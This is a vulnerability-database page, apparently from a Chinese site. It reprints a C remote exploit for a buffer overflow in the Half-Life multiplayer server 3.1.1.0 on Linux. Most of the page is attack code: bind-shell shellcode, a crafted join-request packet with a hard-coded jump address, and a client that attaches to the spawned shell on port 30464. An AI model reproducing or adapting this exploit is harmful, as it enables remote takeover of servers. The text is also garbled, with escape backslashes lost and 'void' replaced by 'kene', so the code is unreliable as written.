Valve Software Half-Life Server 3.1.1.0 – Multiplayer Request Buffer Overflow
漏洞ID | 1054064 | 漏洞类型 | |
发布时间 | 2003-07-29 | 更新时间 | 2003-07-29 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
// source: http://www.securityfocus.com/bid/8300/info
// Half-Life servers are prone to a buffer overflow that may be exploited by a malicious remote client. The vulnerability occurs because the software fails to sufficiently bounds-check client-supplied data during requests to join multiplayer games. This could allow attackers to execute code in the context of the vulnerable server.
// This vulnerability affects the server bundled with Half-Life and the free Dedicated Server for both Windows and Linux operating systems.
/*****************************************************************
* hoagie_hlserver.c
*
* Remote exploit for Halflife-Servers.
*
* Binds a shell to port 30464/tcp and connects to it.
*
* Author: KnbykL <[email protected]>
*
* Thnx : All Soldier HbT
*
* This hole was found by Auriemma Luigi.
* Uses code from the proof-of-concept DoS-exploit by Auriemma Luigi.
*
* Tested with HL-Server v3.1.1.0. Works only with the Linux server
* (though making a Win32-exploit should be trivial)
*
* How this exploit works:
* There is a buffer on the stack that is being overwritten with
* our supplied shellcode. Too bad that it lies on an address that
* has 0xFF in it (e.g. 0xbfffe000) and half life filters these
* characters out, so we can't write the address of the shellcode
* there.
* Luckily, the function that copies the shellcode into the buffer
* has the address of the buffer in %eax when it exits. So, we jump
* to the location 0x0804AE93 (which is the same in ALL half life
* servers, thanks to the fact that it is a binary distrubtion)
* where the instruction "call *%eax" is located. And so the shellcode
* gets executed...
*
* Dil : Türkçe'min her zaman arkasýndayým.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
* THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
* CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
*
*****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 27015
#define INFO "xffxffxffxff"
"infostringn "
#define GETCH "xffxffxffxff"
"getchallengen "
#define TIMEOUT 5 /* 5 seconds */
#define PICOFFSET 0xD0404
// 13*13+5=174
// 5*16+13+43+7*16+12=260
// 260-174 = 86 NOPs = 6*13+8
#define PAYLOAD "x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90"
"x31xc0x40x40xcdx80x89xc0x85xc0x74x06x31"
"xc0xb0x01xcdx80x31xc0x31xdbx31xc9x31xd2"
"xb0x66xb3x01x51xb1x06x51xb1x01x51xb1x02"
"x51x8dx0cx24xcdx80xb3x02xb1x02x31xc9x51"
"x51x51x80xc1x77x66x51xb1x02x66x51x8dx0c"
"x24xb2x10x52x51x50x8dx0cx24x89xc2x31xc0"
"xb0x66xcdx80xb3x01x53x52x8dx0cx24x31xc0"
"xb0x66x80xc3x03xcdx80x31xc0x50x50x52x8d"
"x0cx24xb3x05xb0x66xcdx80x89xc3x31xc9x31"
"xc0xb0x3fxcdx80x41x31xc0xb0x3fxcdx80x41"
"x31xc0xb0x3fxcdx80x31xdbx53x68x6ex2fx73"
"x68x68x2fx2fx62x69x89xe3x8dx54x24x08x31"
"xc9x51x53x8dx0cx24x31xc0xb0x0bxcdx80x31"
"xc0xb0x01xcdx80"
/* EIP */ "%c%c%c%c%c%c%c%c%c%c%c%c"
// "BBBB"
/* PAYLOAD is 268 bytes! */
#define MODEL "robo"
#define NAME "]I[gore"
#define TOPCOLOR "25" /* 0-255, it's NOT important */
#define BOTTOMCOLOR "161" /* 0-255, it's NOT important */
#define BOF1 "xffxffxffxff"
"connect %d"
" %s ""
"\prot\2"
"\unique\-1"
"\raw\%08lx%08lx%08lx%08lx"
"" ""
"\model\" MODEL
"\topcolor\" TOPCOLOR
"\bottomcolor\" BOTTOMCOLOR
"\rate\9999.000000"
"\cl_updaterate\20"
"\cl_lw\1"
"\cl_lc\1"
"\cl_dlmax\128"
"\hud_classautokill\1"
"\name\" NAME
"\" PAYLOAD "\value"
""n"
#define BUGNUM ""
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(char *server)
{
int sockfd,i;
struct sockaddr_in sin;
struct hostent *he;
printf("Connect to the shelln");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
if((he=gethostbyname(server))<0) perror("gethostbyname"), exit(1);
memcpy(&sin.sin_addr,*(he->h_addr_list),sizeof(sin.sin_addr));
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socketn");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shelln");
exit(0);
}
return sockfd;
}
int getproto(unsigned char *buff);
int timeout2(int sock);
kene showinfostring(unsigned char *buff, int size);
u_long resolv(char *host);
kene std_err(kene);
int main(int argc, char *argv[]) {
unsigned char buffrecv[BUFFSZ],
buffsend[sizeof(BOF1) + 64],
challenge[16],
bug,
*bofstr,
*stri,
*strf;
struct sockaddr_in peer;
int sd,
err,
rlen,
bufflen,
proto;
unsigned long offset;
setbuf(stdout, NULL);
if(argc < 2) {
printf("nUsage: %s <host> <port>nn", argv[0], PORT);
exit(1);
}
printf("OK team, follow my command.n");
srand(time(NULL));
bofstr=BOF1;
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(atoi(argv[2]));
// offset=strtoul(argv[3],NULL,16);
peer.sin_family = AF_INET;
rlen = sizeof(peer);
offset=0x0804AE93; // call eax
printf("Using offset 0x%08x...n",offset);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
/* GET INFORMATIONS */
err = sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("nError: socket timeoutn", stdout);
exit(1);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
proto = getproto(buffrecv);
showinfostring(buffrecv, err);
/* GET CHALLENGE NUMBER */
err = sendto(sd, GETCH, sizeof(GETCH) - 1, 0, (struct sockaddr *)&peer, rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("nError: socket timeoutn", stdout);
exit(1);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
stri = strchr(buffrecv, 0x20);
if(!stri) stri = buffrecv;
strf = strchr(stri + 1, 0x20);
if(!strf) strf = buffrecv + err;
*strf = 0x00;
strncpy(challenge, stri, 16);
printf("Challenge: %sn", challenge);
bufflen = snprintf(buffsend,
sizeof(BOF1) + 64,
bofstr,
proto,
challenge,
(long)(rand() << 1) + (rand() & 0xf), /* 31bit */
(long)(rand() << 1) + (rand() & 0xf),
(long)(rand() << 1) + (rand() & 0xf),
(long)(rand() << 1) + (rand() & 0xf),
offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF,
offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF,
offset&0xFF,(offset>>8)&0xFF,(offset>>16)&0xFF,(offset>>24)&0xFF);
if(bufflen < 0) {
fputs("nError: cannot allocate buffer in memoryn", stdout);
exit(1);
}
printf("Sending deadly packet ... stand byn");
err = sendto(sd, buffsend, bufflen, 0, (struct sockaddr *)&peer, rlen);
if(err < 0) std_err();
err = timeout2(sd);
if(err < 0) {
fputs("nResult: The remote server IS vulnerable!!!n", stdout);
exec_sh(connect_sh(argv[1]));
return(0);
}
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer, &rlen);
if(err < 0) std_err();
buffrecv[err] = 0x00;
printf("Connect: %sn", buffrecv + 5);
close(sd);
fputs("nResult: The server doesn't seems to be vulnerablenn", stdout);
return(0);
}
int getproto(unsigned char *buff) {
int p;
unsigned char *ptr;
ptr = strstr(buff + 23, "protocol");
if(ptr) {
p = atoi(ptr + 9);
} else {
fputs("nError: No protocol informations in the answer of the servern", stdout);
exit(1);
}
return(p);
}
kene showinfostring(unsigned char *buff, int size) {
int nt = 1,
len;
unsigned char *string;
fputs("n--------------------------------------------------n", stdout);
if(memcmp(buff + 1, "xffxffxff", 3)) {
fputs("nError: Bad answer from the server (it is not a true server)n", stdout);
exit(1);
}
len = strlen(buff);
if(len < size) buff += len + 1;
while(1) {
string = strchr(buff, '\');
if(!string) break;
*string = 0x00;
/* n or t */
if(!nt) {
printf("%s: ", buff);
nt++;
} else {
printf("%sn", buff);
nt = 0;
}
buff = string + 1;
}
printf("%sn", buff);
}
int timeout2(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(err == 0) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
kene std_err(kene)
{
perror("nError");
exit(1);
}
相关推荐: wu-ftpd守护程序PASV内存转储命令执行漏洞
wu-ftpd守护程序PASV内存转储命令执行漏洞 漏洞ID 1207631 漏洞类型 未知 发布时间 1996-10-16 更新时间 1996-10-16 CVE编号 CVE-1999-0075 CNNVD-ID CNNVD-199610-006 漏洞平台 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666